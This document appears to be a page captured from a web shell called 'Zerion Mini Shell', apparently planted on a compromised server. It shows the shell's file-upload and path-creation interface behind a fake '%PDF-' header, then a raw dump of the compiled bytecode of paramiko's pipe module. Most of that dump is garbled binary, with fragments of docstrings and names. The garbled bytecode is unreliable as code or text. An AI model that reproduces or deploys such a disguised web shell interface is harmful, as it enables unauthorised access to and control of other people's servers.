%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/paramiko/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/paramiko/__pycache__/pipe.cpython-312.pyc

�

�ecV��n�dZddlZddlZddlZd�ZGd�de�ZGd�de�ZGd�d	e�Zd
�Z	y)a
Abstraction of a one-way pipe where the read end can be used in
`select.select`. Normally this is trivial, but Windows makes it nearly
impossible.

The pipe acts like an Event, which can be set or cleared. When set, the pipe
will trigger as readable in `select <select.select>`.
�Nc�^�tjdddk7rt�}|St�}|S)N��win)�sys�platform�	PosixPipe�WindowsPipe)�ps �//usr/lib/python3/dist-packages/paramiko/pipe.py�	make_piper!s1��
�|�|�B�Q��5� ��K��
�H�
�M���H�c�0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)rc�p�tj�\|_|_d|_d|_d|_y�NF)�os�pipe�_rfd�_wfd�_set�_forever�_closed��selfs r�__init__zPosixPipe.__init__*s+��!�w�w�y���	�4�9���	���
���r
c��tj|j�tj|j�d|_y�NT)r�closerrrrs rrzPosixPipe.close0s)��
�������
���������r
c��|jS�N)rrs r�filenozPosixPipe.fileno6s���y�y�r
c��|jr|jrytj|jd�d|_y�N�F)rrr�readrrs r�clearzPosixPipe.clear9s+���y�y�D�M�M��
����	�	�1����	r
c��|js|jryd|_tj|jd�y�NT�*)rrr�writerrs r�setz
PosixPipe.set?s+���9�9�������	�
������D�!r
c�2�d|_|j�yr�rr*rs r�set_foreverzPosixPipe.set_foreverE�����
����
r
N)	�__name__�
__module__�__qualname__rrr r%r*r-�r
rrr)s ������"�r
rc�4�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	y)	r	z�
    On Windows, only an OS-level "WinSock" may be used in select(), but reads
    and writes must be to the actual socket object.
    c���tjtjtj�}|jd�|j	d�tjtjtj�|_|j
j
d|j�df�|j�\|_	}|j�d|_d|_d|_
y)N)�	127.0.0.1rr#r5F)�socket�AF_INET�SOCK_STREAM�bind�listen�_rsock�connect�getsockname�accept�_wsockrrrr)r�serv�addrs   rrzWindowsPipe.__init__Ps����}�}�V�^�^�V�-?�-?�@���	�	�"�#����A���m�m�F�N�N�F�4F�4F�G��������[�$�*:�*:�*<�Q�*?�@�A� �K�K�M����T��
�
����	���
���r
c�z�|jj�|jj�d|_yr)r;rr?rrs rrzWindowsPipe.close_s)����������������r
c�6�|jj�Sr)r;r rs rr zWindowsPipe.filenoes���{�{�!�!�#�#r
c�z�|jr|jry|jjd�d|_yr")rrr;�recvrs rr%zWindowsPipe.clearhs+���y�y�D�M�M�����������	r
c�z�|js|jryd|_|jjd�yr')rrr?�sendrs rr*zWindowsPipe.setns+���9�9�������	�������r
c�2�d|_|j�yrr,rs rr-zWindowsPipe.set_forevertr.r
N)
r/r0r1�__doc__rrr r%r*r-r2r
rr	r	Js%���

��$���r
r	c��eZdZd�Zd�Zd�Zy)�OrPipec�.�d|_d|_||_yr)r�_partner�_pipe)rrs  rrzOrPipe.__init__zs����	���
���
r
c�t�d|_|jjs|jj�yyr)rrMrNr*rs rr*z
OrPipe.sets)����	��}�}�!�!��J�J�N�N��"r
c�t�d|_|jjs|jj�yyr)rrMrNr%rs rr%zOrPipe.clear�s+����	��}�}�!�!��J�J����"r
N)r/r0r1rr*r%r2r
rrKrKys���
�
r
rKc�R�t|�}t|�}||_||_||fS)z�
    wraps a pipe into two pipe-like objects which are "or"d together to
    affect the real pipe. if either returned pipe is set, the wrapped pipe
    is set. when both are cleared, the wrapped pipe is cleared.
    )rKrM)r�p1�p2s   r�make_or_piperT�s-��
���B�	���B��B�K��B�K�
�r�6�Mr
)
rIrrr6r�objectrr	rKrTr2r
r�<module>rVsE��&��	�
�
����B,�&�,�^�V��"
r

Zerion Mini Shell 1.0